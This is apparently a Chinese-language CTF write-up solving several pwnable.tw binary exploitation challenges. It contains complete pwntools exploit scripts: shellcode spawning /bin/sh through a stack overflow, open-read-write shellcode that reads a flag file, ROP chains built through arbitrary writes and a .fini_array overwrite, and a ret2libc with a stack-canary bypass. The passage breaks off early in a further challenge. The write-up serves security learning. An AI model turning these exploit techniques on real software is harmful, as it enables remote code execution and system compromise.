環境
Ubuntu 18.04 / Kali 2022.3
gdb-gef, ghidra
Patchelf
由於部分題目需要使用到 Ret2lib 等等的攻擊,如果靶機與本機的 libc 版本不同,可能會造成攻擊的腳本失效
因此這邊使用 Patchelf 來使兩邊版本一致,以下使用 applestore
這一題作為範例
先安裝 patchelf 和 glibc-all-in-one
patchelf 我應該是直接 sudo apt install patchelf
,有點忘了
glibc-all-in-one 就直接照 GitHub 指示安裝
接著查看題目提供的 lib 檔案版本
假設檔案為 libc_32.so.6
strings ./libc_32.so.6 | grep ubuntu
那我們就需要 2.23-0ubuntu5
的 ld 連結檔
接著使用 glibc-all-in-one 下載連結檔
記得要根據題目是 32 還是 64 位元下載不同檔案
如果沒有對應的版本那就自己上網找載點,然後將 download
裡面的 SOURCE
修改後執行
下載完的檔案會在 libs/[version]
裡面,而我們需要其中 ld
開頭的檔案
直接複製一份到題目資料夾
現在題目資料夾裡應該有
題目 ELF
題目 lib
下載到對應的 ld
先綁定 ld
patchelf --set-interpreter [ld] [elf]
patchelf --set-interpreter ./ld-2.23.so applestore
然後綁定 lib
patchelf --replace-needed [original-lib] [lib] [elf]
patchelf --replace-needed libc.so.6 ./libc_32.so.6 applestore
可以使用 ldd [elf]
查看原本的 libc 是啥
就可以直接執行了,一樣使用 ldd
查看也確實是綁定在題目提供的 lib 上面
相關資源
通常我們會需要使用 python 的 pwntools 模組來幫助我們向程式傳遞訊息
例如給定一個目標 Address 做後續攻擊利用等 …
然而我們也會需要 gdb 幫助我們得到系統資訊
以下為範例腳本,可在使用 pwntools 的同時將 gdb attach 到目標程式上面
from pwn import *
DEBUG_MODE = True
def setgdb (filename : str ):
p = process(filename)
context.terminal = ["tmux" , "splitw" , "-h" ]
context.log_level = 'debug'
gdb.attach(p)
return p
if __name__ == '__main__' :
if (DEBUG_MODE):
p = setgdb('' )
else :
p = remote("" , )
p.interactive()
Start Recon
先試著執行一次
要求輸入,似乎有 BOF
gdb 執行,先確認防護措施
全部未啟用
用 ghidra 看一下流程
大致上可分為幾塊
將 ESP 和 _exit 的 address 推入 stack
08048060 54 PUSH ESP=>local_4
08048061 68 9d 80 PUSH _exit
04 08
清空 EAX ~ EDX
08048066 31 c0 XOR EAX,EAX
08048068 31 db XOR EBX,EBX
0804806a 31 c9 XOR ECX,ECX
0804806c 31 d2 XOR EDX,EDX
在 stack 中推進字串 Let's start the CTF:
0804806e 68 43 54 PUSH ":FTC"
46 3a
08048073 68 74 68 PUSH " eht"
65 20
08048078 68 61 72 PUSH " tra"
74 20
0804807d 68 73 20 PUSH "ts s"
73 74
08048082 68 4c 65 PUSH "'teL"
74 27
INT 0x80
為呼叫 system call
前面在存入呼叫號和參數
AL = EAX 前 8 位;同理 BL、DL
x86-32 calling convention: EAX EBX ECX EDX ESI EDI EBP
0x4: write
arg: fd(0x1), buf(ESP), count(0x14)
簡單來說就是呼叫 write(1, ESP("Let's start the CTF:"), 0x14)
08048087 89 e1 MOV ECX,ESP
08048089 b2 14 MOV DL,0x14
0804808b b3 01 MOV BL,0x1
0804808d b0 04 MOV AL,0x4
0804808f cd 80 INT 0x80
清空 EBX,AL DL 更換,一樣呼叫 system call
0x3: read
arg: fd(0x0), buf(ESP), count(0x3c)
簡單來說就是 read 0x3c 個字到 ESP 上
08048091 31 db XOR EBX,EBX
08048093 b2 3c MOV DL,0x3c
08048095 b0 03 MOV AL,0x3
08048097 cd 80 INT 0x80
ESP 加上 0x14 後 RET
概念上次排除掉原本在 buf 的 Let's start the CTF:
然後 RET
RET 直接從 stack 拿 32 個 bits 當作下一個執行的指令
08048099 83 c4 14 ADD ESP,0x14
0804809c c3 RET
Frame stack 結構
一些暫存器的功能
EIP: 下次要執行的指令地址
EBP: stack base address
ESP: 目前 stack address
一個 Stack Frame 大概長這樣
Stack
…
buffer
…
saved rbp
return address
在 buf 區塊存取時,如果沒有規定上限或是上限超出範圍,就可能使 buf 區塊的資料蓋到 rbp 甚至 RET address
Stack
…
"AAAAAAAA"
"AAAAAAAA"
saved rbp "AAAAAAAA"
return address "AAAA"
…
漏洞利用
經過上述分析,其實蠻明顯具有 BOF 漏洞
可以先觀察一下執行 read 前的 stack 狀態
基本上就是存放了 write 的字串,共有 0x14 個字
接著最下面放有開頭推入的 exit address 與 ESP
然後隨便輸入個 AAAA
讓他 read 看看
可以發現 stack 最上面變成了 AAAA(0x41414141)
堆疊中只有 0x14 個空間,但讀取的上限卻是 0x3c,因此輸入夠長的話就可以蓋掉 RET Address
設計一下 payload
前面先給予 0x14 個 A 來蓋掉原先的字串空間,後面就可以直接給定任意地址了
from pwn import *
target_addr =
def setgdb (filename : str ):
p = process(filename)
context.terminal = ["tmux" , "splitw" , "-h" ]
context.log_level = 'debug'
gdb.attach(p)
return p
if __name__ == '__main__' :
p = setgdb('./start' )
p.recvuntil(':' )
payload = b'A' * 0x14 + p32(target_addr)
p.send(payload)
p.recv()
p.interactive()
問題來了,我們要跳到哪裡?
我們希望能夠拿到 RCE,因此得到 shell 是最好的,然而這隻程式似乎沒有 system 等等的地方能夠利用
那就使用 system call 來達到 …
對照一下 文件 ,execve 的 system call 應該就是我們要的
number(EAX): 0x0b
arg0(EBX): filename = /bin/sh
arg1(ECX): argv = 空白即可
arg2(EDX): envp = 空白即可
重新整理一下,我們希望執行到的 shell code asm 為
MOV EAX, 0x0b
PUSH '/bin/sh'
MOV EBX, ESP
XOR ECX, ECX
XOR EDX, EDX
INT 0x80
PUSH 的時候實際上需要分兩次,因為 32 bits 一次只能推 4 個字元
因為沒有做保護,因此我們可以把 shell code 推入到 stack 中,然後把 address 指定到 stack 上面
stack address 在哪裡?就是一開始推入的 ESP
所以我們先做一次 BOF,將 stack 字串的部分用乾淨,然後把目標 address 設回 write 的地方
from pwn import *
def setgdb (filename : str ):
p = process(filename)
context.terminal = ["tmux" , "splitw" , "-h" ]
context.log_level = 'debug'
gdb.attach(p)
return p
if __name__ == '__main__' :
p = setgdb('./start' )
p.recvuntil(':' )
payload = b'A' * 0x14 + p32(0x08048087 )
p.send(payload)
p.recv()
p.interactive()
Stack
…
"AAAAAAAA"
"AAAAAAAA"
"AAAAAAAA"
_exit "0x08048087"
saved_ESP
然後因為跳轉回 write,因此會印出 ESP,也就是 stack 的 Address
再來二次 BOF,前面一樣用 0x14 個 A 來填充,後面的目標 address 放入第一次得到的 ESP,後面再放入準備好的 shellcode
from pwn import *
shellcode = """
mov eax, 0x0b
push %s
push %s
mov ebx, esp
xor ecx, ecx
xor edx, edx
int 0x80
""" % (u32("/sh\0" ), u32("/bin" ))
def setgdb (filename : str ):
p = process(filename)
context.terminal = ["tmux" , "splitw" , "-h" ]
context.log_level = 'debug'
gdb.attach(p)
return p
if __name__ == '__main__' :
p = setgdb('./start' )
p.recvuntil(':' )
payload = b'A' * 0x14 + p32(0x08048087 )
p.send(payload)
esp_addr = u32(p.recv()[:4 ])
payload = b'A' * 0x14 + p32(esp_addr) + asm(shellcode)
p.send(payload)
p.interactive()
然後這段 code 其實是錯的,因為第一次 BOF 時執行了 ADD ESP,0x14
,導致 stack 產生了 0x14
的偏移
最後 exploit script
from pwn import *
shellcode = """
mov eax, 0x0b
push %s
push %s
mov ebx, esp
xor ecx, ecx
xor edx, edx
int 0x80
""" % (u32("/sh\0" ), u32("/bin" ))
DEBUG_MODE = False
def setgdb (filename : str ):
p = process(filename)
context.terminal = ["tmux" , "splitw" , "-h" ]
context.log_level = 'debug'
gdb.attach(p)
return p
if __name__ == '__main__' :
if (DEBUG_MODE):
p = setgdb('./start' )
else :
p = remote("chall.pwnable.tw" , 10000 )
p.recvuntil(':' )
payload = b'A' * 0x14 + p32(0x08048087 )
p.send(payload)
esp_addr = u32(p.recv()[:4 ]) + 0x14
payload = b'A' * 0x14 + p32(esp_addr) + asm(shellcode)
p.send(payload)
p.interactive()
如果在 debug 模式(本機)下使用,會發現開啟了 shell 在相同目錄(可以用 ls
cat
等指令測試)
但因為還在 debug mode,因此會有些其他訊息而有點亂
線上模式的話則會直接得到 remote shell
用 find
指令可直接搜尋 flag 相關檔案
成功得到 Flag
orw Recon
題目描述寫道,flag 在 /home/orw/flag
,並且我們只能使用 open
read
write
的 syscall
然後直接執行的話會出錯,有可能是因為其他 syscall 被擋住導致的,但我們可以直接 nc 連過去看看
要求我們輸入 shellcode
沒什麼頭緒,用 ghidra 分析看看
發現有 main function
一開始執行了一個 function,等等再分析
printf 出字串
讀取大小為 200 的 input 放到 shllcode 變數中
將 shllcode 當作 code 執行
看起來並沒有很複雜,接著我們看看第一個 function 做了什麼
其實 google 一下可以知道 function name 代表的應該是 Secure Computing,可以推測該 function 的功能是禁止 syscall
但我們還是實際分析一下
前面看起來只是做一些變數處理
後面看起來比較重要的應該是 prctl 的部分
查一下 man ,可以知道第一個 arg 會決定他的行為
對應 原始碼 ,得知 0x26 為 PR_SET_NO_NEW_PRIVS
但看不太懂他的解釋,先跳過
同理對照 0x16 為 PR_SET_SECCOMP
,這個就比較單純了,它會使現在的 thread 只能呼叫 read write 和 exit
其實搞不太懂這邊的詳細實作,但其實結合題目說明大概就知道這個 function 就是限制住 syscall 的部分
Shellcode 撰寫
題目其實很明確,就是要你幹一段 shellcode 去讀取 flag,且只能利用 write read 和 open
那流程大概就是
open flag file
read the open fd
write to the screen
一樣對照 syscall docs 去實作
open
EAX: 0x05
arg0(EBX): filename(/home/orw/flag)
arg1(ECX): flags
arg2(EDX): mode
return(EAX): fd
read
EAX: 0x03
arg0(EBX): fd(from open)
arg1(ECX): buf = esp
arg2(EDX): count
write
EAX: 0x04
arg0(EBX): fd = 0(顯示到畫面上)
arg1(ECX): buf = esp
arg2(EDX): count
嘗試撰寫 shellcode
mov eax, 0x05
push "/home/orw/flag"
mov ebx, esp
xor ecx, ecx
xor edx, edx
int 0x80
mov ebx, eax
mov eax, 0x03
mov ecx, esp
mov edx, 0x20
int 0x80
xor ebx, ebx
mov eax, 0x04
int 0x80
最後 exploit script
值得注意的是 push 到 stack 時因為大小限制,要拆成 4 個一組
from pwn import *
shellcode = """
mov eax, 0x05
push %s
push %s
push %s
push %s
mov ebx, esp
xor ecx, ecx
xor edx, edx
int 0x80
mov ebx, eax
mov eax, 0x03
mov ecx, esp
mov edx, 0x30
int 0x80
xor ebx, ebx
mov eax, 0x04
int 0x80
""" % (u32("ag\0\0" ), u32("w/fl" ), u32("e/or" ), u32("/hom" ))
DEBUG_MODE = False
def setgdb (filename : str ):
p = process(filename)
context.terminal = ["tmux" , "splitw" , "-h" ]
context.log_level = 'debug'
gdb.attach(p)
return p
if __name__ == '__main__' :
if (DEBUG_MODE):
p = setgdb('' )
else :
p = remote("chall.pwnable.tw" , 10001 )
p.recv()
p.send(asm(shellcode))
p.interactive()
calc Recon
稍微執行一下看看程式能幹嘛
印出 === Welcome to SECPROG calculator ===
字串
讀輸入,然後會做計算
輸入空白會印出 Merry Christmas!
字串並結束程式
從題目名稱和上述測試可以知道是一個計算機程式,接著用 ghidra 分析看看
以下分析的變數名稱已經經過修改
發現有 main
function 存在,然後馬上發現測試時的兩個字串,並且中間有一個自訂 function calc()
calc
可以看到使用一個無窮迴圈,合理猜測是可以不停接收使用者訊息的原因
裡面使用 bzero
來清空一個 0x400
的空間 user_input
,用於存放使用者輸入(宣告的地方可以知道他是個陣列)
接著這邊執行了另一個 function get_expr
,那我們先分析一個這個 function
get_expr
裡面的變數名稱已經被我整理過,整個功能變得很明顯了
首先,輸入的兩個參數分別為 bzero 清空過的一個陣列和 0x400
的固定整數
然後一個迴圈會跑 0x400
次,每次讀一個使用者的輸入
如果沒讀到或是讀到換行就跳出迴圈
如果是運算符號或是數字就存到陣列中的位置,接著讀下一個字
最後回傳迴圈跑了幾次,也就是輸入的 size
回到 calc
接續剛剛的 get_expr
,可以得知回傳值是 input 的大小
如果大小為 0
就跳出迴圈,因此會印出字串然後結束
如果不為 0
則會對一個變數的地址做 init_pool
,一樣來看看這個 function
init_pool
一樣很單純,把輸入的指標後面 100
格清空
這邊可以注意的是,ghidra 前面分析 pool
為一個 int,但這邊很明顯是一個 array
因此其實 calc
中另一個接續在後面的陣列,其實可以和 pool
視為同一個部分
IDA 的話可以手動修正合併,Ghidra 沒辦法XD
回到 calc
清空後會把最開始的 user_input
和剛剛清空的指標丟進 parse_expr
中,然後把回傳值印出
parse_expr
首先,最外面的判斷會是否為 0
~ 9
,如果 不是 才會進去
進去之後,會先將前面掃過但還未處理的數字切出來設為 part_input
判斷 part_input
是否為零,是的話就跳到錯誤
再來判斷 part_input
是否大於零,如果是就丟到 pool
中
這裡的儲存方式很重要, pool
的第一格代表目前存到哪裡,也就是 size
然後讓 index 存取第一格後,將數字放到 index 那一格去
接下來是去判斷下一個字元如果不是結尾,卻也不是數字,那就代表有連續的運算子出現,跳到錯誤
如果目前 token
是空的,把運算子的部分存到 token
裡面
如果 token
不是空的,會比較 token
和目前符號的優先度做不同處理
使用到了 eval
,來看看他如何實作
eval
根據給定的運算子 ( token
) 不同,會對 pool
做不同運算
回到 parse_expr
6.
如果已經結束,就把所有 token
和 pool
中的數字拿去做運算
其實最開始測試程式的時候,某一個測資讓我有點在意
最開始只是想測試有沒有支援負數,但意外發現開頭如果是運算符號就會怪怪的,例如:
回到 ghidra 去比對分析一下這樣的輸入會如何運作
假設輸入 +56+9
第一個 +
不是數字,因此會直接進去 if 裡面
i
為 0
,因此 part_input
會只有 \0
將 \0
用 atoi
會回傳 0
,因此不會改動到 pool
下一個字元是數字,不會跳到錯誤
token 被存起來,因此 tokens[0]
= +
token 被存了,跳過
還沒到最後,跳過
第二個 +
不是數字,因此會直接進去 if 裡面
0
< 56
,因此會去更新 pool
pool_index
= 0
pool[0]
= 1
pool[1]
= 56
下一個字元是數字,不會跳到錯誤
剛剛 token 存了第一個 +
,因此不會進去
目前進到 switch 的是當前符號 +
,也就是 0x2b
執行 eval(pool, tokens[token_index])
執行完之後 pool 會變為
pool[0]
= 56
pool[1]
= 56
也就是說,原先用於當作 size 的第零格會被拿去運算
這也導致了下一次的寫入位置會亂掉
如果還有數字要寫入,下次會寫到 pool[57]
的位置
也就是說,我們可以在任意位置寫入資料了
但位址的起始會被加上 pool
的位址
寫入在 pool[x]
的概念
同時我們也可以思考一下,這樣的怪異輸入最後的回傳值是什麼,是否可以利用
calc
中,輸出的部分長這樣
前面說明過, pool_array
其實是 Ghidra 沒解好,實際上他應該是 pool[1]
的概念
因此可以全部換成 pool
去表示
pool[1 + pool[0] - 1]
在簡化成 pool[pool[0]]
推導過後,可以知道最後的輸出其實就是把第零格當作 index,然後輸出該格
結合上面破壞 pool[0]
的手法,可以做到 leak 任意記憶體
漏洞利用
先看一下程式防護
可以看到有 NX 防護,表示 stack 中的資料無法當作指令去執行
所以不能用 Start 那題的方法達到 RCE
改用 ROP gadget 的方式做
預想 stack 架構
一樣是利用 execve("/bin/sh")
如果成功建構出這樣的 stack 就可以在 return 回 main 的地方觸發 ROP Chain,進而得到 shell
經過前面的分析,我們可以在任意位址寫入資料
想法是先 leak 出 EBP,接著寫入 ROP gadget,最後寫入 RET address 使其執行
先用 gdb 直接找出 main 的 return 和 main frame 的 main_EBP 為多少
將斷點設在 calc 中,因為在進入 function 時會把 return address 也推入 stack 中,再把 EBP 也推進去
因此 return address 會在 EBP + 4 的位址上
return address 在 main_EBP + 0x1c
然後也一樣先找出 pool[0]
的位址
位址在 0xffffcaa8
= main_EBP + 0x5c0
一格的空間大小為 0x4
,算起來 return address 在 pool[361]
( 0x5c0
- 0x1c
) / 0x4
= 0x169
= 361
我們可以先測試一下上面的推論有沒有錯誤
輸入 +360+[TARGET_ADDR]
應該可以跳到目標地址
我們跳到 puts 字串的地方看看
地址為 0804947b
= 134517883
可以看到我成功讓應該結束的地方又跳回開頭了
先利用 ROPgadget 找出能利用的 gadget address
ROPgadget --binary ./calc --only "ret|pop"
我們需要的都剛好有
0x0805c34b : pop eax ; ret
0x0806497b : pop edi ; pop esi ; pop ebx ; ret
ROPgadget --binary ./calc --only "int"
再次整理 stack 資訊
因為 "/bin/sh" 的部分需要知道 stack 的 Address,因此順便計算一下與 EBP_main 的相對位置
再整理上面運算得到的結果,如果我們輸入 +X+Y
pool[X + 1] = Y
pool[X] = pool[X] + Y
簡單寫一個 ROP Chain
from pwn import *
DEBUG_MODE = True
ROP_gadget = [0x0805c34b , 0x0b , 0x080701d0 , 0x0 , 0x0 , 0x0 , 0x08049a21 , u32("/bin" ), u32("/sh\0" )]
def setgdb (filename : str ):
p = process(filename)
context.terminal = ["tmux" , "splitw" , "-h" ]
context.log_level = 'debug'
gdb.attach(p)
return p
if __name__ == '__main__' :
if (DEBUG_MODE):
p = setgdb('./calc' )
else :
p = remote("chall.pwnable.tw" , 10100 )
p.recv()
p.sendline("+360" )
leak = int (p.recv())
ROP_gadget[5 ] = leak
index = 359 + len (ROP_gadget)
for gadget in reversed (ROP_gadget):
payload = "+" + str (index)
payload += "+" + str (gadget)
p.sendline(payload)
p.recv()
index -= 1
p.interactive()
執行後發現 … 失敗QQ
原因有二
輸入 0
會視為錯誤,導致沒有成功寫入
寫入 main_EBP 的時候會溢位
這時候就得利用 pool[X] = pool[X] + Y
,利用運算的部分寫入 0
from pwn import *
DEBUG_MODE = True
ROP_gadget = [0x0805c34b , 0x0b , 0x080701d0 , 0x0 , 0x0 , 0x0 , 0x08049a21 , u32("/bin" ), u32("/sh\0" )]
def setgdb (filename : str ):
p = process(filename)
context.terminal = ["tmux" , "splitw" , "-h" ]
context.log_level = 'debug'
gdb.attach(p)
return p
if __name__ == '__main__' :
if (DEBUG_MODE):
p = setgdb('./calc' )
else :
p = remote("chall.pwnable.tw" , 10100 )
p.recv()
p.sendline("+360" )
leak = int (p.recv())
ROP_gadget[5 ] = leak
index = 361
for gadget in ROP_gadget:
payload = "+" + str (index)
p.sendline(payload)
temp = int (p.recv())
if (gadget > temp):
temp = gadget - temp
payload += "+" + str (temp)
else :
temp = temp - gadget
payload += "-" + str (temp)
p.sendline(payload)
p.recv()
index += 1
p.interactive()
測試一下,可以在 gdb 中將中斷點設在 calc return to main 的地方
可以看到 stack 中完全如我們的預期
實際執行也可以正確使用到 shell
解除 debug mode,即可成功 RCE,取得 flag
3x17 Recon
先執行程式看看
執行後要求輸入 addr
接著要求輸入 data
沒什麼明顯的輸出、錯誤,用 Ghidra 逆向看看
該 binary 被 stripped,看不到 function name,從 entry 點去找 main
function
到 main
,可以看到裡面有 addr:
和 data:
合理推斷是 write
後面有等待使用者輸入,推斷是 read
剩下一個 FUN_0040ee70
,裡面超級複雜,直接改用 gdb 去確認一下進去的參數和回傳值
輸入 123
,回傳 0x7b
也就是說,會把傳入的 string 當作 10 進制的數字,然後轉成 address 的表示法(hex)
統整一下流程
讀入 0x18
大小的 string 作為 user_input
將 user_input 當作 10 進制,透過 strtol
轉為 Hex(addr)
接著在 addr 寫入 0x18
另外,有個放在 DATA 區段的變數每次都會讓自己++,只有當它為 1
的時候才會工作。
當然,這讓我們可以在任意地址寫入 0x18
大小的值,如何進一步利用?
多次寫入
我們接下來的目標是想辦法將一次的寫入改為多次寫入,增加利用度。
在整個 Linux 程式的啟動過程中,每個 function 大概是這樣
.init
.init_array[0]
.init_array[1]
…
main
.fini
…
.fini_array[1]
.fini_array[0]
我們回到 entry
,可以看到兩個 main
前後的 function,剛好一個會遞增執行一個是遞減執行,分別對應到 init
和 fini
接著,如果我們將 .fini_array[1]
執行時的地址改寫為 main
,並將 .fini_array[0]
改寫為 .fini
,那麼應該就能無限執行 main
,不停進行寫入了。
from pwn import *
DEBUG_MODE = True
ADDR_FINI_0 = 0x004b40f0
ADDR_FINI = 0x00402960
ADDR_MAIN = 0x00401b6d
def setgdb (filename : str ):
p = process(filename)
context.terminal = ["tmux" , "splitw" , "-h" ]
context.log_level = 'debug'
gdb.attach(p)
return p
if __name__ == '__main__' :
if (DEBUG_MODE):
p = setgdb('./3x17' )
else :
p = remote("chall.pwnable.tw" , 10105 )
p.sendafter('addr:' , str (ADDR_FINI_0))
p.sendafter('data:' , p64(ADDR_FINI) + p64(ADDR_MAIN))
p.interactive()
由於可寫入空間是 0x16
,並且目標位置是位於連續的陣列之中,我們可以直接一次寫入兩個 function(注意順序)
完成後執行可以看到多次跳出 addr:
和 data:
字串,表示成功
我們現在可以無限次任意寫入,也可以控制下一個要執行的 function(RIP)
然而,卻無法得知 RSP,因此無法控制 stack 上的資料
換個想法,我們是否有辦法在已知區段 X
做好 ROP chain,再將 RSP 改寫過去呢
在 main
的尾端我們可以看到
其中 LEAVE
相當於
用途是將 stack 中丟掉一個 frame
這表示我們可以將跳轉的 fini[0] 改到 LEAVE
上面,他會將 RBP 寫到 RSP 中,接著執行 RET
執行 RSP
那麼,在 Call fini[0]
(預計被改寫成 LEAVE
) 之前,RBP 是多少呢
直接用 GDB 暫停在 CALL
的指令,得知 RBP 為 0x4b40f0
因此若是跳轉到 LEAVE
上面,接下來執行的地方就是會 0x4b40f0
的下一行,也就是 0x4b4100
再度測試一下有沒有問題
from pwn import *
DEBUG_MODE = True
ADDR_FINI_0 = 0x004b40f0
ADDR_FINI = 0x00402960
ADDR_MAIN = 0x00401b6d
ADDR_ESP = 0x4b4100
ADDR_RET = 0x401c4b
def setgdb (filename : str ):
p = process(filename)
context.terminal = ["tmux" , "splitw" , "-h" ]
context.log_level = 'debug'
gdb.attach(p)
return p
if __name__ == '__main__' :
if (DEBUG_MODE):
p = setgdb('./3x17' )
else :
p = remote("chall.pwnable.tw" , 10105 )
p.sendafter('addr:' , str (ADDR_FINI_0))
p.sendafter('data:' , p64(ADDR_FINI) + p64(ADDR_MAIN))
p.sendafter('addr:' , str (ADDR_ESP))
p.sendafter('data:' , p64(0xdeadbeef ))
p.sendafter('addr:' , str (ADDR_FINI_0))
p.sendafter('data:' , p64(ADDR_RET))
p.interactive()
執行後成功停留在 0xdeadbeef
上面,表示成功
ROP 構建
現在已經可以在任意地方寫入,並且跳轉到 0x4b4100
,因此我們只需在 0x4b4100
事先建構好 ROP Chain 即可
目標為 execve("/bin/sh", 0, 0)
在 64 位元的系統中,我們需要在 rax = 0x3b
時呼叫 syscall
來執行 execve
且 x64 的 Linux Calling Convention 為
Function(rdi, rsi, rdx, rcx, r8, r9)
因此 ROP 的排序為
pop_rax
0x3b
pop_rdi
addr_"/bin/sh\x00"
pop_rsi
0
pop_rdx
0
syscall
首先在任意一個可讀可寫,又不會影響到程式執行的地方寫入 /bin/sh\x00
接著利用 ROPgadget
找出需要的 Address 即可
最後腳本
from pwn import *
DEBUG_MODE = True
ADDR_FINI_0 = 0x004b40f0
ADDR_FINI = 0x00402960
ADDR_MAIN = 0x00401b6d
ADDR_ESP = 0x4b4100
ADDR_RET = 0x401c4b
ADDR_STR_SH = 0x004b6644
def setgdb (filename : str ):
p = process(filename)
context.terminal = ["tmux" , "splitw" , "-h" ]
context.log_level = 'debug'
gdb.attach(p)
return p
if __name__ == '__main__' :
if (DEBUG_MODE):
p = setgdb('./3x17' )
else :
p = remote("chall.pwnable.tw" , 10105 )
p.sendafter('addr:' , str (ADDR_FINI_0))
p.sendafter('data:' , p64(ADDR_FINI) + p64(ADDR_MAIN))
p.sendafter('addr:' , str (ADDR_STR_SH))
p.sendafter('data:' , "/bin/sh\x00" )
p.sendafter('addr:' , str (ADDR_ESP))
p.sendafter('data:' , p64(0x41e4af ))
p.sendafter('addr:' , str (ADDR_ESP + 8 ))
p.sendafter('data:' , p64(0x3b ))
p.sendafter('addr:' , str (ADDR_ESP + 8 * 2 ))
p.sendafter('data:' , p64(0x401696 ))
p.sendafter('addr:' , str (ADDR_ESP + 8 * 3 ))
p.sendafter('data:' , p64(ADDR_STR_SH))
p.sendafter('addr:' , str (ADDR_ESP + 8 * 4 ))
p.sendafter('data:' , p64(0x406c30 ))
p.sendafter('addr:' , str (ADDR_ESP + 8 * 5 ))
p.sendafter('data:' , p64(0 ))
p.sendafter('addr:' , str (ADDR_ESP + 8 * 6 ))
p.sendafter('data:' , p64(0x446e35 ))
p.sendafter('addr:' , str (ADDR_ESP + 8 * 7 ))
p.sendafter('data:' , p64(0 ))
p.sendafter('addr:' , str (ADDR_ESP + 8 * 8 ))
p.sendafter('data:' , p64(0x4022b4 ))
p.sendafter('addr:' , str (ADDR_FINI_0))
p.sendafter('data:' , p64(ADDR_RET))
p.interactive()
dubblesort Recon
不知道為什麼 Ubuntu 18.04 沒辦法執行該題目,因此該題開始環境改用 Kali 2022.3
該題目有附 libc,有可能需要 Ret2Lib
先執行程式看看流程
詢問名稱
詢問要輸入幾個數字
依序輸入數字們
吐出排序好的數字
使用 Ghidra 分析一下
名稱讀入 0x40
的大小資料
接著用 int n
紀錄接下來有幾筆數字
用一個空間為 8
的 array 去存每個數字,方法是用一個 pointer 指向開頭,每次掃完就將 pointer 往後一格
接著我們進入排序的部分
參數有兩個 number_array
與 input_n
先印出 Processing......
字串後,sleep 一秒假裝計算
如果 input_n
為 1
,直接結束
接著掃過 array 一輪,每次比較兩個數字,將數字大的往後移
然後針對前 n - 1
個數字重複做,直到只剩一個數字便排序完畢
最後就將 Array 依序印出,結束程式
漏洞利用
可以利用的點有
名稱沒有用 \0
截斷也沒有判斷長度
數字數量可隨意輸入
因此 stack 是可以控制的,來確定一下程式防護
可以看到具有 canary 保護,因此沒辦法隨意覆蓋
那麼我們有兩個需要解決的點
如何洩漏目標 lib address
如何 bypass canary
首先利用名稱的部分洩漏出 libc address
先洩漏出 GOT Address,再透過計算位移量來得到 libc base address 和其他所有函數(如 system)的 address
libc Address = GOT Address - Offset
readelf -S [lib]
在本機可以知道 .got.plt 的 address 為 0021dff4
而遠端的話則是 001b0000
,使用給定的 libc 即可得到
接著透過名稱的地方洩漏 offset
先輸入 aaaa
並用 GDB 觀察一下 stack
可以看到距離目標相差 20
個 byte,因此總共需要 24
個字元當作 padding
其實我不太確定前面那些看起來也像是 address 的值是什麼
另外,可以注意到 0xffffcfb0
的地方有個 0a
,那是輸入的 \n
,代表 leak 出來的 address 還要減掉 0x0a
才是正確的 address
整理一下目前的 payload
from pwn import *
DEBUG_MODE = True
GOT_PLT_OFFSET = 0x1b0000
def setgdb (filename : str ):
p = process(filename)
context.terminal = ["tmux" , "splitw" , "-h" ]
context.log_level = 'debug'
gdb.attach(p)
return p
if __name__ == '__main__' :
if (DEBUG_MODE):
p = setgdb('./dubblesort' )
else :
p = remote("chall.pwnable.tw" , 10101 )
p.recv();
p.sendline("a" * 24 )
leak_address = u32(p.recv()[30 :34 ]) - 0x0a
print (hex (leak_address))
p.interactive()
執行起來可以看到確實吐給我們一個像是地址的東西,雖然不知道正不正確,但先繼續
接下來我們希望利用輸入數字的部分覆蓋掉 RET
的目標 Address,讓程式跳到 libc 中的目標 function
我們先隨便輸入 1
2
3
做為要排序的數字,然後利用 GDB 檢查與 ebp 相差多少
要多少數字才能蓋到 Return address
透過 gef config context.nb_lines_stack [NUM]
改變 stack 顯示的行數
透過 context stack
顯示 stack
可以看到第 33
個數字才是 Return Address
我們先將程式跳回 main
試試看
可以看到程式顯示 stack smashing detected
這代表該程式包含 canary,只要我們覆蓋掉特定 stack 程式就會錯誤,且我們沒有辦法洩漏出 canary 的值
那麼,有沒有辦法只蓋掉想蓋的資料,而保持原先 canary 的資料不變呢
試著輸入非法字元看看
使用英文字或是 .
都會直接結束導致失敗
最後發現 +
可以繼續輸入,並不會改變 stack 上的值
應該是被當作正數了
原本想要先 Return 回 main
測試看看,但因為數字會被排序,如果 RET 的目標 Address 數字比 Canary 小的話,會導致 Canary 被排序到不同的位置,造成 stack smash
即便使用了 +
維持 stack 值,也要記得不能排序動到
同樣的,我原本想要偷懶將前面的數字全部輸入 +
,這樣就不用找 Canary 在哪裡,但因為 stack 原值不是照大小排序,一樣會動到 canary 導致錯誤,只好找 canary
但我不會找,手動一個一個嘗試
Canary 位於 25
格的數字
所以我們的目標應該是
1~24: 1(或是其他小數字,不可大過 canary)
25: +
26~33: libc_addr
+ system_addr
34: libc_addr
+ bin/sh_addr
由於 bin/sh
剛好比 system
數字還要大,不會受到排序影響
system 與 bin/sh 可以直接用 pwntools 的功能取得
libc = ELF("./libc_32.so.6")
system = libc.sym["system"]
binsh = next(libc.search(b'/bin/sh'))
實際測試之後,本機一直無法成功,應該是因為 link 到不同的 libc 的原因
然而連遠端測試都無法成功,只好一個一個部分手動除錯
發現最開始輸入名稱的部分需要 28
格才能 leak 出 libc address
然後最後的 Return Address 位於第 34
格(總共需要 35
個數字)
最後 exploit:
from pwn import *
DEBUG_MODE = False
GOT_PLT_OFFSET = 0x001b0000
libc = ELF("./libc_32.so.6" )
def setgdb (filename : str ):
p = process(filename)
context.terminal = ["tmux" , "splitw" , "-h" ]
context.log_level = 'debug'
gdb.attach(p)
return p
if __name__ == '__main__' :
if (DEBUG_MODE):
p = setgdb('./dubblesort' )
GOT_PLT_OFFSET = 0x0021dff4
else :
p = remote("chall.pwnable.tw" , 10101 )
p.recv();
p.sendline("a" * 28 )
leak_address = u32(p.recv()[34 :38 ]) - 0xa
print (hex (leak_address))
libc_address = leak_address - GOT_PLT_OFFSET
p.sendline(str (35 ))
for i in range (24 ):
p.recvuntil("number : " )
p.sendline(str (i))
p.recvuntil("number : " )
p.sendline('+' )
system = libc.sym["system" ]
binsh = next (libc.search(b'/bin/sh' ))
for _ in range (9 ):
p.recvuntil("number : " )
p.sendline(str (system + libc_address))
p.recvuntil("number : " )
p.sendline(str (binsh + libc_address))
print (hex (system))
print (hex (binsh))
p.interactive()
Silver_bullet Recon
先執行看看程式,看起來像是一款遊戲
能夠執行的動作有四種
接著用 Ghidra 分析看看
建立子彈時會讀入 0x30
的空間,字串多長力量就多少
力量會被放在 bullet + 0x30
的位置
也就是 bullet
描述的後面一格
